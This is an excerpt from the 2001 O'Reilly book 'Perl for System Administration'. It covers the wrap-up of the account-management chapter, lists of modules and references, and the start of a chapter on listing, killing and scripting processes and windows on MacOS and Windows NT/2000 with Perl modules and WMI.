        print OUT join("\n",sort @{$types{$type}})."\n";
        close(OUT);
    }
}

If we look at the mailing list directory, we see:

> dir
faculty  staff

And each one of those files contains the appropriate list of user accounts.

3.3.4. Account System Wrap-Up

Now that we've seen four components of an account system, let's wrap up this section by talking about what's missing (besides oodles of functionality):

Error checking

Our demonstration code has only a modicum of error checking. Any self-respecting account system would grow another 40-50% in code size because it would check for data and system interaction problems every step of the way.

Scalability

Our code could probably work in a small-to mid-sized environment. But any time you see "read the entire file into memory," it should set off warning bells. To scale we would need to change our data storage and retrieval techniques at the very least. The module XML::Twig by Michel Rodriguez may help with this problem, since it works with large, well-formed XML documents without reading them into memory all at once.

Security

This is related to the very first item on error checking. Besides truck-sized security holes like the storage of plain text passwords, we also do not perform any security checks in our code. We do not confirm that the data sources we use like the queue files are trustworthy. Add another 20-30% to the code size to take care of this issue.

Multiuser

We make no provision for multiple users or even multiple scripts running at once, perhaps the largest flaw in our code as written. If the "add account" process script is being run at the same time as the "add to the queue" script, the potential for data loss or corruption is very high. This is such an important issue that we should take a few moments to discuss it before concluding this section.

One way to help with the multiuser deficiency is to carefully introduce file locking. File locking allows the different scripts to cooperate. If a script plans to read or write to a file, it can attempt to lock the file first. If it can obtain a lock, then it knows it is safe to manipulate the file. If it cannot lock the file (because another script is using it), it knows not to proceed with an operation that could corrupt data. There's considerably more complexity involved with locking and multiuser access in general than just this simple description reveals; consult any fundamental Operating or Distributed Systems text. It gets especially tricky when dealing with files residing on network filesystems, where there may not be a good locking mechanism. Here are a few hints that may help you when you approach this topic using Perl.

  • There are smart ways to cheat. My favorite method is to use the lockfile program distributed with the popular mail filtering program procmail found at http://www.procmail.org. The procmail installation procedure takes great pains to determine safe locking strategies for the filesystems you are using. lockfile does just what its name suggests, hiding most of the complexity in the process.

  • If you don't want to use an external executable, there are a plethora of locking modules available. For example, File::Flock by David Muir Sharnoff, File::LockDir from the Perl Cookbook by Tom Christiansen and Nathan Torkington (O'Reilly), and a Win95/98 version of it by William Herrera called File::FlockDir, File::Lock by Kenneth Albanowski, File::Lockf by Paul Henson, and Lockfile::Simple by Raphael Manfredi. They differ mostly in interface, though File::FlockDir and Lockfile::Simple attempt to perform locking without using Perl's flock( ) function. This is useful for platforms like MacOS that don't support that function. Shop around and pick the best one for your needs.

  • Locking is easier to get right if you remember to lock before attempting to change data (or read data that could change) and only unlock after making sure that data has been written (e.g., after the file has been closed). For more information on this, see the previously mentioned Perl Cookbook, the Perl Frequently Asked Questions list, and the documentation that comes with Perl on the flock( ) function and the DB_File module.

This ends our look at user account administration and how it can be taken to the next level using a bit of an architectural mindset. In this chapter we've concentrated on the beginning and the end of an account's lifecycle. In the next chapter, we'll examine what users do in between these two points.

Previous | Home | Next
3.2. Windows NT/2000 User Identity | Book Index | 3.4. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

3.4. Module Information for This Chapter

Name | CPAN ID | Version
User::pwent (ships with Perl) |  |
File::stat (ships with Perl) |  |
Win32::AdminMisc (found at http://www.roth.net) |  | 20000117
Win32::Perms (found at http://www.roth.net) |  | 20000216
Win32::Lanman (found at ftp://ftp.roth.net/pub/ntperl/Others/Lanman/) |  | 1.05
IO::File (ships with Perl) | GBARR | 1.20
XML::Writer | DMEGG | 0.30
XML::Parser | COOPERCL | 2.27
Data::Dumper | GSAR | 2.101
XML::Simple | GRANTM | 1.01
Expect.pm | AUSCHUTZ | 1.07
File::Path (ships with Perl) |  | 1.0401
Win32::FileOp | JENDA | 0.10.4
Previous | Home | Next
3.3. Building an Account System to Manage Users | Book Index | 3.5. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

3.5. References for More Information

3.5.1. Unix Password Files

http://www.freebsd.org/cgi/man.cgi is where the FreeBSD Project provides access to the online manual pages for *BSD and other Unix variants. This is a handy way to compare the file formats and user administration commands (useradd, et al.) for several operating systems.

Practical Unix & Internet Security, 2nd Edition, by Simson Garfinkel and Gene Spafford (O'Reilly, 1999), is an excellent place to start for information about password files.

3.5.2. NT User Administration

http://Jenda.Krynicky.cz is another site with useful Win32 modules applicable to user administration.

http://windows.microsoft.com/windows2000/en/server/help/, from the Windows 2000 online help. (Navigate to the Active Directory figure Concepts figure Understanding Active Directory figure Understanding Groups section.) This is a good overview of the new Windows 2000 group mechanisms.

http://www.activestate.com/support/mailing_lists.htm hosts the Perl-Win32-Admin and Perl-Win32-Users mailing lists. Both lists and their archives are invaluable resources for Win32 programmers.

Win32 Perl Programming: The Standard Extensions, by Dave Roth (Macmillan Technical Publishing, 1999) is currently the best reference for Win32 Perl module programming.

Windows NT User Administration, by Ashley J. Meggitt and Timothy D. Ritchey (O'Reilly, 1997).

http://www.mspress.com are the publishers of the Microsoft NT Resource kit. They also offer a subscription services that provides access to the latest RK utilities.

http://www.roth.net is the home of Win32::AdminMisc, Win32::Perms, and other modules the Win32 community relies upon for user administration.

3.5.3. XML

There's been a tremendous explosion of material covering XML in the last two years. The following are some of the best references I know of for people interested in learning about XML. There haven't been any XML for Perl books released as of this publication, but I know of several projects in the works.

http://msdn.microsoft.com/xml and http://www.ibm.com/developer/xml both contain copious information at their respective sites. Microsoft and IBM are very serious about XML.

http://www.activestate.com/support/mailing_lists.htm hosts the Perl-XML mailing list. It (and its archive) is one of the best sources on this topic.

http://www.w3.org/TR/1998/REC-xml-19980210 is the actual XML 1.0 specification. Anyone who does anything with XML eventually winds up reading the spec. For anything but quick reference checks, I recommend reading an annotated version like those mentioned in the next two citations.

http://www.xml.com is a good reference for articles and XML links. Also contains an excellent annotated version of the specification created by Tim Bray, one of its authors.

XML: The Annotated Specification, by Bob DuCharme (Prentice Hall, 1998), is another excellent annotated version of the specification, chock full of XML code examples.

XML Pocket Reference, by Robert Eckstein (O'Reilly, 1999), a concise but surprisingly comprehensive introduction to XML for the impatient.

3.5.4. Other

http://www.mcs.anl.gov/~evard is R&#233;my Evard's home page. Using a set of central databases from which configuration files are automatically generated is a best practice that shows up in a number of places in this book; credit for my exposure to this methodology goes to Evard. Though it is now in use at many sites, I first encountered it when I inherited the Tenwen computing environment he built (as described in the Tenwen paper linked off of Evard's home page). See the section "Implemented the Hosts Database" for one example of this methodology in action.

http://www.rpi.edu/~finkej/ contains a number of Jon Finke's published papers on the use of relational databases for system administration.

Previous | Home | Next
3.4. Module Information for This Chapter | Book Index | 4. User Activity
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


User Activity (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 4. User Activity

Contents:

MacOS Process Control
NT/2000 Process Control
Unix Process Control
Tracking File and Network Operations
Module Information for This Chapter
References for More Information

In the previous chapter, we explored the identity of a user and how this identity is managed and stored. Now let's talk about how to manage users while they are active on our systems and network.

The significant actions of users fall into four domains:

Processes

Users can spawn, kill, pause, and resume processes on our machines. These processes compete for a computer's finite processing power, adding resource issues to the list of problems a system administrator needs to mediate.

File operations

Most of the time, operations like writing, reading, creating, deleting, etc., take place when some user process interacts with files in a filesystem. But under Unix, there's more to this picture. Unix uses the filesystem as a gateway to more than just file storage. Device control, input/output channels, and even some process control and network access are file operations. We dealt with filesystem administration in Chapter 2, "Filesystems", but in this chapter we'll approach this topic from a user administration perspective.

Network

Users can send and receive data over network interfaces on our machine. There is material elsewhere in this book on networking, but we'll address this issue here from a different perspective.

OS-specific activities

This last domain is a catchall for the OS-specific features that users can access via different APIs. Included in this list are things like GUI element controls, shared memory usage, file sharing APIs, sound, etc. This category is so diverse that there's no way to discuss it well in our current context. I recommend tracking down the OS-specific web sites like http://www.macperl.com for information on these topics.

Let's look at ways to deal with the first three of these domains using Perl. Each of the operating systems in this book treats this topic differently, so we're going to have to address them on an individual basis. The closest thing to common ground they share is the Perl kill( ) function, and even that is not implemented under MacOS. We will take each OS in turn, beginning with the least complicated (from a Perl perspective). Because we're interested in user administration, the focus here will be on dealing with processes started by other users.

4.1. MacOS Process Control

"Control" might be too strong a word for the functionality offered under MacOS, since MacOS is not multiuser and is just barely multitasking. Using the module Mac::Processes, we can interact with the Macintosh Process Manager using the MacOS Toolbox API for process control. If you are going to delve any deeper than surface level with this module, you'll want to seek out a copy of the Inside Macintosh:Processes volume that deals with the Process Manager.

When we load Mac::Processes via the standard use Mac::Processes directive, it initializes a special hash called %Process. This hash is magical because it always contains a representation of the current process state of the machine thanks to Perl's tied variable functionality. Each time the contents of %Process are accessed, information about the machine's current running processes are returned. To see a list of the current process serial numbers (the MacOS term for process ID, often abbreviated as PSN ), we can simply query the list of keys in this hash:

use Mac::Processes;
print map{"$_\n"} keys %Process;

For more information on the individual processes, we need to work with the values returned for each key. Each hash entry contains an object representing a ProcessInfo structure. To get at the individual fields of this structure, you call object methods with their names. For more information on each field and what it represents, see the canonical reference book Inside Macintosh:Processes. The currently available method names are processName( ), processNumber( ), processType( ), processSignature( ), processSize( ), processMode( ), processLocation( ), processLauncher( ), processLaunchDate( ), processActiveTime( ), and processAppSpec( ).

To get a list of the running processes and their names, we could write:

use Mac::Processes;
while(($psn, $psi) = each (%Process)){
  $name = $psi->processName(  );
  write;
}

format STDOUT_TOP =
Process Serial Number      Process Name
=====================      =========================================
.

format STDOUT =
@<<<<<<                    @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$psn,                      $name
.

which would yield output that looked like this:

Process Serial Number      Process Name
=====================      =========================
8192                       FaxMonitor
8193                       Queue Watcher
8194                       Finder
8195                       Serial Port Monitor
8198                       MacPerl

Once you know the processes running on a machine, it is natural to want to control them. Unfortunately, our abilities in this realm are negligible. The most exciting thing we can do is bring a process to the foreground using SetFrontProcess($psn). We don't even have the ability to directly kill a process (the Perl kill( ) function is not implemented). The best we can do is send an AppleEvent to a running application or the finder to request that this process shut itself down. The easiest way to perform this task is to use Chris Nandor's Mac::Apps::Launch module. It offers a function called QuitApps( ) that can quit an application given its creator ID. Mac::Apps::Launch also provides some useful functions for launching applications and bringing them to and away from the foreground similar to those we mentioned in Mac::Processes.

Let's move on to an operating system that is much less limited in the process control realm.

Previous | Home | Next
3.5. References for More Information | Book Index | 4.2. NT/2000 Process Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


NT/2000 Process Control (Perl for System Administration)

 Perl for System AdministrationSearch this book

4.2. NT/2000 Process Control

We're going to briefly look at four different ways to deal with process control on NT/2000 because each of these approaches opens up a door to interesting functionality outside the scope of our discussion. We're primarily going to concentrate on two tasks: finding all of the running processes and killing select processes.

4.2.1. Using the Microsoft Resource Kit Binaries

As we've mentioned in Chapter 3, "User Accounts", the NT Resource Kit is a wonderful source of scripts and information. The two programs we are going to use from the resource kit are pulist.exe and kill.exe. The former lists processes, the second nukes them. There is another utility in the resource kit similar to pulist.exe called tlist.exe that can list processes in a pleasant tree format, but it but lacks some features of pulist.exe. For instance, pulist.exe can list processes on other machines besides the current one.

Here's an excerpt from some pulist output:

Process           PID  User
TAPISRV.EXE       119  NT AUTHORITY\SYSTEM
TpChrSrv.exe      125  NT AUTHORITY\SYSTEM
RASMAN.EXE        131  NT AUTHORITY\SYSTEM
mstask.exe        137  NT AUTHORITY\SYSTEM
mxserver.exe      147  NT AUTHORITY\SYSTEM
PSTORES.EXE       154  NT AUTHORITY\SYSTEM
NDDEAGNT.EXE      46   OMPHALOSKEPSIS\Administrator
explorer.exe      179  OMPHALOSKEPSIS\Administrator
SYSTRAY.EXE       74   OMPHALOSKEPSIS\Administrator
cardview.exe      184  OMPHALOSKEPSIS\Administrator
ltmsg.exe         167  OMPHALOSKEPSIS\Administrator
daemon.exe        185  OMPHALOSKEPSIS\Administrator

Using pulist.exe from Perl is trivial. Here's one way to do it:

$pulistexe = "\\bin\\PULIST.EXE"; # location of the executable
open(PULIST,"$pulistexe|") or die "Can't execute $pulistexe:$!\n";

scalar <PULIST>; # drop the first title line
while(defined($_=<PULIST>)){
    ($pname,$pid,$puser) = /^(\S+)\s*(\d+)\s*(.+)/;
    print "$pname:$pid:$puser\n";

close(PULIST);

The other program we mentioned, kill.exe, is equally easy to use. It takes as an argument either a process ID or part of a task name. I recommend the process ID format, to err on the safe side, since it is very easy to kill the wrong process if you use task names.

kill.exe offers two different ways to shoot down processes. The first is the polite death: kill.exe <process id> will ask that process to shut itself down. But if we add /f to the command line, kill.exe /f <process id> works more like the native Perl function and kills the process with extreme prejudice.

4.2.2. Using the Win32::IProc Module

Our second approach uses the Win32::IProc module by Amine Moulay Ramdane. Though you wouldn't know it from the name, Win32::IProc is actually more useful for our purposes than Win32::Process, the more obviously named choice. Win32::Process has one significant drawback that takes it out of the running: it is designed to control processes that are started by the module itself. We're more interested in the processes other users have started. If you have trouble installing Win32::IProc, see the section Section 4.5, "Module Information for This Chapter" at the end of the chapter for installation hints.

First, create a process object like so:

use Win32::IProc;

# note case of object is important, must be "IProc"
$pobj = new Win32::IProc or die "Unable to create proccess object: $!\n";

This object is mostly used as a springboard from which to launch the module's object methods. For instance, to find the list of all of the running processes on a machine, we would use:

$pobj-> EnumProccesses(\@processlist) or
   die "Unable to get process list:$!\n";

@processlist is now an array of references to anonymous hashes. Each anonymous hash has two keys, ProcessName and ProcessId, with their expected values. To display this info nicely, we could use the following code:

use Win32::IProc;

$pobj=new Win32::IProc or die "Unable to create process object: $!\n";

$pobj->EnumProcesses(\@processlist) or
   die "Unable to get process list:$!\n";

foreach $process (@processlist){
  $pid  = $process->{ProcessId};
  $name = $process->{ProcessName};
  write;
}

format STDOUT_TOP =
Process ID      Process Name
==========      ===============================
.
format STDOUT =
@<<<<<<<        @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$pid,           $name
.

We get output like this:

Process ID      Process Name
==========      ================================
0               System-Idle
2               System
25              smss.exe
39              winlogon.exe
41              services.exe
48              lsass.exe
78              spoolss.exe
82              DKSERVICE.EXE
...

One difference between this approach and our use of pulist.exe earlier is that Win32::IProc does not have the ability to tell you the user context for a given process. If this information is important to you, you will need to use pulist.exe.

pulist.exe can only produce one kind of output, but the fun with Win32::IProc is just beginning. Let's say you were curious about not only which processes were running, but also which executable and dynamically loaded libraries (.dlls) each process was using. Finding this information is simple:

# imports the FULLPATH constant to show the path for the dlls, could be NOPATH
use Win32::IProc "FULLPATH";
$pobj = new Win32::IProc;

$pobj->EnumProcesses(\@processlist) or
  die "Unable to get process list:$!\n";

foreach $process (@processlist){
  print "\n",$process->{ProcessName},
        "\n",('=' x length($process->{ProcessName})),"\n";

  $pobj->GetProcessModules($process->{ProcessId},\@modules,FULLPATH);
  print join("\n",map {lc $_->{ModuleName}} @modules),"\n";

 }

GetProcessModules( ) takes a process ID, an array reference, and a flag that indicates whether the full directory path of the module will be returned. The array we reference is populated with references to anonymous hashes that contain information about each module used for that process. In our code we gather the names of all of the modules. map( ) is used to iterate over the array of references, dereferencing each anonymous hash and looking up the ModuleName key as we go.

Here's an excerpt from some sample output:

smss.exe
========
\systemroot\system32\smss.exe
c:\winnt\system32\ntdll.dll

winlogon.exe
============
\??\c:\winnt\system32\winlogon.exe
c:\winnt\system32\ntdll.dll
c:\winnt\system32\msvcrt.dll
c:\winnt\system32\kernel32.dll
c:\winnt\system32\advapi32.dll
c:\winnt\system32\user32.dll
c:\winnt\system32\gdi32.dll
c:\winnt\system32\rpcrt4.dll
c:\winnt\system32\userenv.dll
c:\winnt\system32\shell32.dll
c:\winnt\system32\shlwapi.dll
c:\winnt\system32\comctl32.dll
c:\winnt\system32\netapi32.dll
c:\winnt\system32\netrap.dll
c:\winnt\system32\samlib.dll
c:\winnt\system32\winmm.dll
c:\winnt\system32\cwcmmsys.dll
c:\winnt\system32\cwcfm3.dll
c:\winnt\system32\msgina.dll
c:\winnt\system32\rpclts1.dll
c:\winnt\system32\rpcltc1.dll...

Let's take this train of thought one stop further. We can find out even more about a running process with just a little bit of effort. To get the information we need about a process, we first have to get a handle for that process.

A process handle can be thought of as an open connection to a particular process. To illuminate the difference between a process handle and a process ID, let's take the analogy of a trailer park. If each trailer in the park is a process, then you can think of the process ID as the address of a trailer. It is a way of finding that specific trailer. A process handle is like the power/water/phone lines that run from the park itself into a specific trailer. Once these lines are in place, not only can you find a particular trailer, but you can also begin to communicate and exchange information with it from the outside.

To get the process handle from a process if we have its ID, we use Win32::IProc's Open( ) method. Open( ) takes a process ID, an access flag, an inheritance flag, and a reference to the scalar that will store the handle. The access flags we'll be using in the following example request just enough access to query a process for information. For more information on these flags, see the Win32::IProc documentation and the "Processes and Threads" section of the Win32 SDK base services documentation found on http://msdn.microsoft.com. Process handles that are Open( )'d need to be closed using CloseHandle( ).

With process handle in hand, we can use the Kill( ) method to kill this process:

# kill process and make it exit with that code
$pobj->Kill($handle,$exitcode);

But killing processes is not the only use for process handles. For instance, we can use methods like GetStatus( ) to learn more about the process. Here's sample code that dumps out timing information about a given process ID:

use Win32::IProc qw(PROCESS_QUERY_INFORMATION INHERITED DIGITAL);

$pobj = new Win32::IProc;

$pobj->Open($ARGV[0],PROCESS_QUERY_INFORMATION,INHERITED,\$handle) or
  warn "Can't get handle:".$pobj->LastError(  )."\n";

# DIGITAL = pretty-printed times
$pobj->GetStatus($handle,\$statusinfo,DIGITAL);

$pobj->CloseHandle($handle);

while (($procname,$value)=each %$statusinfo){
  print "$procname: $value\n";
}

Its output looks something like this:

KernelTime: 00:00:22:442:270
ExitDate:
ExitTime:
CreationDate: 29/7/1999
CreationTime: 17:09:28:100
UserTime: 00:00:11:566:632

Now we know when this process was started and how much system time it has taken up. The ExitDate and ExitTime fields are blank because the process is still running. You may be wondering how these fields could ever get filled in, given that one has to use the process ID of a running process to get a process handle. There are two answers to this question. First, it is possible to get a process handle for a running process and have that process die before you've closed the handle. A GetStatus( ) at that point will yield exit information for the deceased process. The second possibility involves a method we haven't seen yet called Create( ).

Create( ) allows you to launch processes from Win32::IProc, similar to the Win32::Process functionality mentioned earlier. If you do launch processes from the module, then the process object ($pobj) we've mostly ignored so far will contain process and thread information for the created process. With this information, you can do fun things like manipulate thread priorities and the windows of that process. We're not going to look at this functionality, but its mention does offer us a good segue to the next process module approach.

4.2.3. Using the Win32::Setupsup Module

If last section's mention of manipulating the windows of a process piqued your interest, you will like our next approach. For this approach, we'll be looking at a module by Jens Helberg called Win32::Setupsup. It's called "Setupsup" because it is primarily designed to be used to supplement software installation (which often uses a program called Setup.exe).

Some installers can be run in so-called "silent mode" for totally automated installation. In this mode they ask no questions and require no "OK" buttons to be pushed, freeing the administrator from having to babysit the install. Software installation mechanisms that do not offer this mode (and there are far too many of them) make a system administrator's life difficult. Win32::Setupsup helps deal with these deficiencies. It can find information on running processes and manipulate them (or manipulate them dead if you so choose).

To get and install Win32::Setupsup, you should refer to the section Section 4.5, "Module Information for This Chapter" later for hints on getting it installed.

With Win32::Setupsup, getting the list of running processes is easy. Here's a slightly different version of the first full code sample we saw in the last section:

use Win32::Setupsup;

$machine = ""; # query the list on the current machine

Win32::Setupsup::GetProcessList($machine, \@processlist, \@threadlist) or
  die "process list error: ".Win32::Setupsup::GetLastError(  )."\n";

pop(@processlist); # remove the bogus entry always appended to the list
foreach $processlist (@processlist){
  $pid  = $processlist->{pid};
  $name = $processlist->{name};
  write;
}

format STDOUT_TOP =
Process ID      Process Name
==========      ===============================
.
format STDOUT =
@<<<<<<<        @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$pid,           $name
.

Killing processes is equally easy:

KillProcess($pid, $exitvalule, $systemprocessflag) or
  die "Unable to kill process: ".Win32::Setupsup::GetLastError(  )."\n";

The last two arguments are optional. The first kills the process and sets its exit value accordingly (by default it is set to 0). The second argument allows you to kill system-run processes (providing you have the Debug Programs user right).

That's the boring stuff. We can take process manipulation to yet another level by interacting with the windows a running process may have open. To list all of the windows available on the desktop, we use:

Win32::Setupsup::EnumWindows(\@windowlist) or
  die "process list error: ".Win32::Setupsup::GetLastError(  )."\n";

@windowlist now contains a list of window handles that just look like normal numbers when you print them. To learn more about each window, you can use a few different functions. For instance, to find the titles of each window, you can use GetWindowText( ) like so:

use Win32::Setupsup;

Win32::Setupsup::EnumWindows(\@windowlist) or
  die "process list error: ".Win32::Setupsup::GetLastError(  )."\n";

foreach $whandle (@windowlist){
    if (Win32::Setupsup::GetWindowText($whandle,\$text)){
      print "$whandle: $text","\n";
    }
    else {
      warn "Can't get text for $whandle" .
            Win32::Setupsup::GetLastError(  )."\n";
    }
}

Here's a little bit of sample output:

66130: chapter02 - Microsoft Word
66184: Style
194905150:
66634: setupsup - WordPad
65716: Fuel
328754: DDE Server Window
66652:
66646:
66632: OleMainThreadWndName

As you can see, some windows have titles, while others do not. Observant readers might notice something else interesting about this output. Window 66130 belongs to a Microsoft Word session that is currently running (it is actually the one this chapter was composed into). Window 66184 looks vaguely like the name of another window that might be connected to Microsoft Word. How can we tell if they are related?

Win32::Setupsup also has an EnumChildWindows( ) function that can show us the children of any given window. Let's use it to write something that will show us a basic tree of the current window hierarchy:

use Win32::Setupsup;

# get the list of windows
Win32::Setupsup::EnumWindows(\@windowlist) or
  die "process list error: ".Win32::Setupsup::GetLastError(  )."\n";

# turn window handle list into a hash
# NOTE: this conversion populates the hash with plain numbers and
# not actual window handles as keys. Some functions, like
# GetWindowProperties (which we'll see in a moment), can't use these
# converted numbers. Caveat implementor.
for (@windowlist){$windowlist{$_}++;}

# check each window for children
foreach $whandle (@windowlist){
    if (Win32::Setupsup::EnumChildWindows($whandle,\@children)){
       # keep a sorted list of children for each window
       $children{$whandle} = [sort {$a <=>$b} @children];

       # remove all children from the hash, we won't directly
       # iterate over them
       foreach $child (@children){
         delete $windowlist{$child};
       }
    }
}

# iterate through the list of parent or childless windows and
# recursively print each window handle and its children (if any)
foreach my $window (sort {$a <=> $b} keys %windowlist){
 &printfamily($window,0);
}

# print a given window handle number and its children (recursively)
sub printfamily {
  # starting window, how deep in a tree are we?
  my($startwindow,$level) = @_;

  # print the window handle number at the appropriate indentation
  print(("  " x $level)."$startwindow\n");

  return unless (exists $children{$startwindow}); # no children, done.

  # otherwise, we have to recurse for each child
  $level++;
  foreach $childwindow (@{$children{$startwindow}}){
     &printfamily($childwindow,$level);
  }
}

There's one last window property function we should look at before moving on: GetWindowProperties( ). GetWindowProperties( ) is basically a catchall for the rest of the window properties we haven't seen yet. For instance, using GetWindowProperties( ) we can query the process ID for the process that created a specific window. This could be combined with some of the functionality we just saw for the Win32::IProc module.

The Win32::Setupsup documentation contains a list of the available properties that can be queried. Let's use one of them to write a very simple program that will print the dimensions of the rectangle of a window on the desktop. GetWindowProperties( ) takes three arguments: a window handle, a reference to an array that contains the names of the properties to query, and a reference to a hash where the query results will be stored. Here's the code we need for our task:

Win32::Setupsup::GetWindowProperties($ARGV[0],[rect,id],\%info);

print "\t" . $info{rect}{top} . "\n";
print $info{rect}{left} . " -" . $ARGV[0] .
      "- " . $info{rect}{right} . "\n";
print "\t" . $info{rect}{bottom} . "\n";

The output is a bit cutesy. Here's a sample showing the top, left, right, and bottom dimensions of the window with handle 66180:

154
272 -66180- 903
    595

GetWindowProperties( ) returns a special data structure for only one property, rect. All of the others will simply show up in the referenced hash as normal keys and values. If you are uncertain about the properties being returned by Perl for a specific window, the windowse utility found at http://greatis.virtualave.net/products.htm is often helpful.

Now that we've seen how to determine various window properties, wouldn't it be spiffy if we could make changes to some of these properties? For instance, it might be useful to change the title of a particular window. With this capability, we could create scripts that used the window title as a status indicator:

"Prestidigitation In Progress ... 32% complete"

Making this change to a window is a single function call:

Win32::Setupsup::SetWindowText($handle,$text);

We can also set the rect property we just saw. This code makes the specified window jump to the position we've specified:

use Win32::Setupsup;

$info{rect}{left}  = 0;
$info{rect}{right} = 600;
$info{rect}{top}   = 10;
$info{rect}{bottom}= 500;
Win32::Setupsup::SetWindowProperties($ARGV[0],\%info);

I've saved the most impressive function for last. With SendKeys( ) it is possible to send arbitrary keystrokes to any window on the desktop. For example:

use Win32::Setupsup;

$texttosend = "\\DN\\Low in the gums";
Win32::Setupsup::SendKeys($ARGV[0],$texttosend,'',0);

This will send a "down cursor key" followed by some text to the specified window. The arguments to SendKeys( ) are pretty simple: window handle, text to send, a flag to determine if a window should be activated for each keystroke, and an optional time between keystrokes. Special key codes like the "down cursor" are surrounded by backslashes. The list of available keycodes can be found in the module's documentation.

With the help of this module, we've taken process control to an entirely new level. Now it is possible to remotely control applications (and parts of the OS) without requiring the explicit cooperation of those applications. We don't need them to offer command line support or a special API. We have the ability to essentially script a GUI, useful in a myriad of system administration contexts.[1]

[1]Another module for GUI scripting you may find useful is Ernesto Guisado's Win32Guitest. It offers similar functionality to Win32::Setupsup.

4.2.4. Using Window Management Instrumentation (WMI)

Let's look at one final approach to NT/2000 process control before we switch to another operating system. This approach might be subtitled "Futureland" because it involves a technology which isn't widely available now, but is right on the horizon. Window Management Instrumentation (WMI) is available in Windows 2000 (and NT4.0SP4+ if explicitly installed).[2] Over time, when Windows 2000 is widely deployed, this has the potential to become an important part of the NT/2000 administration landscape.

[2]The "Download SDK"page linked off of the WMI section at http://msdn.microsoft.com/developer/sdk lets you download the core WMI libraries needed to run WMI on an NT4.0SP4 (or higher) machine.

Unfortunately WMI is one of those not-for-the-faint-of-heart technologies that gets very complex, very quickly. It is based on an object-oriented model that has the power to represent not only data, but relationships between objects as well. For instance, it is possible to create an association between a web server and the Redundant Arrays of Independent Disks (RAID) that holds the data for this server, so if the RAID device should fail, a problem for the web server will be reported as well. To deal with this complexity, we're just going to skim the very surface of WMI by providing a small and simple introduction, followed by a few code samples.

If you want to get a deeper look at this technology, I recommend downloading the WMI white papers, LearnWBM tutorial, and WMI SDK from the WMI section found at http://msdn.microsoft.com/developer/sdk. You should also have a look at the information found provided at the Distributed Management Task Force's web site, http://www.dtmf.org. In the meantime, here is a brief synopsis to get you started.

WMI is the Microsoft implementation and extension of an unfortunately named initiative called the Web-Based Enterprise Management initiative, or WBEM for short. Though the name conjures up visions of something that requires a browser, it has virtually nothing to do with the World Wide Web. The companies that were part of the Distributed Management Task Force (DMTF) wanted to create something that could make it easier to perform management tasks using browsers. Putting the name aside, it is clearer to say that WBEM defines a data model for management and instrumentation information. It provides specifications for organizing, accessing, and moving this data around. WBEM is also meant to offer a cohesive frontend for accessing data provided by the other management protocols like Simple Network Management Protocol (SNMP) (discussed in Chapter 10, "Security and Network Monitoring") and Common Management Information Protocol (CMIP).

Data in the WBEM world is organized using the Common Information Model (CIM). CIM is the source of the power and complexity in WBEM/WMI. It provides an extensible data model that contains objects and object classes for any physical or logical entity one might want to manage. For instance, there are object classes for entire networks, and objects for a single slot in a specific machine. There are objects for hardware settings and objects for software application settings. On top of this, CIM allows us to define object classes that describe relationships between other objects.

This data model is documented in two parts: the CIM Specification and the CIM Schema. The former describes the how of CIM (how the data will be specified, its connection to prior management standards, etc.); the latter provides the what of CIM (the actual objects). This division may remind you of the SNMP SMI and MIB relationship (see Chapter 10, "Security and Network Monitoring").

In practice, you'll be consulting the CIM Schema more than the CIM Specification once you get the hang of how the data is represented. The schema format (called MOF for Managed Object Format) is fairly easy to read.

The CIM Schema has two layers:

  • The core model for objects and classes useful in all types of WBEM interaction.

  • The common model for generic objects that are vendor- and operating-system independent. Within the common model there are currently five specific areas defined: Systems, Devices, Applications, Networks, and Physical.

Built on top of these two layers can be any number of Extension schema that define objects and classes for vendor- and OS-specific information.

A crucial part of WMI that distinguishes it from generic WBEM implementations is the Win32 Schema, an extension schema for Win32-specific information built on the core and common models. WMI also adds to the generic WBEM framework by providing Win32-specific access mechanisms to the CIM data.[3] Using this schema extension and set of data access methods, we can explore how to perform process control using WMI in Perl.

[3]As much as Microsoft would like to see these data access mechanisms become ubiquitous, the likelihood of finding them in a non-Win32 environment is slight. This is why I refer to them as "Win32-specific."

Two of these access methods, Open Database Connectivity (ODBC) and Compnent Object Model/Distributed Component Object Model (COM/DCOM), will receive a more complete treatment in other places in this book. We're going to use the latter for these examples because ODBC only allows us to query information from WMI (albeit in a simple, database-like manner). COM/DCOM allows us to both query management information and interact with it, crucial for the "control" part of process control.

The Perl code that follows does not appear to be particularly complex, so you may wonder about the "gets very complex, very quickly" description. The code below looks simple because:

  • We're only scratching the surface of WMI. We're not even going to touch subjects like "associations" (i.e., relationships between objects and object classes).

  • The management operations we are performing are simple. Process control in this context will consist of querying the running processes and being able to terminate them at will. These operations are easy in WMI using the Win32 Schema extension.

  • Our samples are hiding the complexity of translating WMI documentation and code samples in VBscript/JScript to Perl code.

  • Our samples are hiding the opaqueness of the debugging process. When WMI-related Perl code fails, it does so with very little information that would help debug the problem. You may receive error messages, but they never say ERROR: YOUR EXACT PROBLEM IS.... You're more likely to get back wbemErrFailed 0x8004100 or just an empty data structure. To be fair to Perl, most of this opaqueness comes from Perl's role in this process. It is acting as a frontend to a set of fairly complex multilayered operations that don't concern themselves with passing back useful feedback when something fails.

I know this sounds pretty grim, so let me offer some potentially helpful advice before we actually get into the code itself:

  • Look at all of the Win32::OLE sample code you can lay your hands on. The ActiveState Win32-Users mailing list archives found at http://www.activestate.com are a good source for this. If you compare this sample code to equivalent VBscript examples, you'll start to understand the translation idioms necessary. Section 4.5, "ADSI (Active Directory Service Interfaces)" in Chapter 6, "Directory Services", may also help.

  • Make friends with the Perl debugger, and use it to try out code snippets as part of this learning process. Another way to test out Perl snippets on Win32 platforms is to combine the TurboPerl program by William P. Smith (found at http://users.erols.com/turboperl/) with the dumpvar.pl or Data::Dumper modules. It has some bugs (I recommend you save your code often), but in general it can make prototyping Perl code easier. Other Integrated Development Environment tools may also offer this functionality.

  • Keep a copy of the WMI SDK handy. The documentation and the VBscript code examples are very helpful.

